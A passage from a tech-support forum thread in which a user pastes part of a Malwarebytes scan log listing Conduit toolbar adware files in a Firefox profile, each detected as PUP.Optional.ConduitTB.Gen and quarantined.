    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\MainSingleton.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\MD5.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Notifications.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\ObserversAndEvents.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Prefs.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\SearchProtector.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\SearchSuggestIO.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\String.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\TEAEncryption.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Timer.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Twitter.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\URL.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\Windows.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\conduitCommon\modules\3.6.0.10\XML.jsm, Quarantined, [8b2c4f2f4447e74fb6a6c791c04257a9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\chrome.manifest, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\install.rdf, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\sspv.txt, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\version.txt, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\AbstractionLayer.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\AbstractionLayerBack.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\AbstractionLayerFront.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\BrowserContextMenuManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\popup.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\popup.xul, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\popupTransparent.xul, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\preferences.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\preferences.xul, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\toolbaroverlay.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\toolbaroverlay.xul, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tooltips.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\version.xul, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\autoComplete.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\priceGongMigration.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\MozillaRetentionDialog.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\RetentionDialog.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\css\MozillaRetentionDialog.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\css\RetentionDialog.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\2.0--spec--kicker.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\content-pattern.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\content-sep.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
     
  12. Geny Baker

    Geny Baker TS Rookie Topic Starter Posts: 23

    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\OK-Button-Default.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\OK-Button-MouseOver.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\OK-Button-OnClick.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\images\x.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\js\MozillaRetentionDialog.view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\logic\uninstall\dialog\js\RetentionDialog.view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\backstage.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\version.txt, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\al.view.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\aboutBox.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images\logo.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images\OK-Button-Default.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images\OK-Button-MouseOver.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images\OK-Button-OnClick.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images\truste.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\images\x.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\aboutBox\js\aboutBox.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\appManager.controller.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\appManager.model.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\appManager.view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\css\toolbar.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\ajax-loader.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\buttonSprites.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\chevron_sprites.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\fallback24.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\ie8_mouseover_button.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\ie8_onclick_button.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\loader-icon.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\menu_arrow.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\minibrowser.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\minibrowser24.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\mp_sprites.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\new_chevron_sprites.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\rounded_corners_left_transparent.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\rounded_corners_left_white.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\rounded_corners_left_white_34.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\rounded_corners_right_transparent.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\rounded_corners_right_white.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\rounded_corners_right_white_34.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\separator.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\separator_hover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\img\uus.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ac\res\yoxscroll.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\api\toolbarapi.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\api\webAppApi.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\api\webAppApiFront.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd\excanvas.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd\trusted.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd\trusted.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd\untrusted.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd\untrusted.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\msd\untrusted.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\options.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\css\jquery.jscrollpane.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\css\options.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\css\reset.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
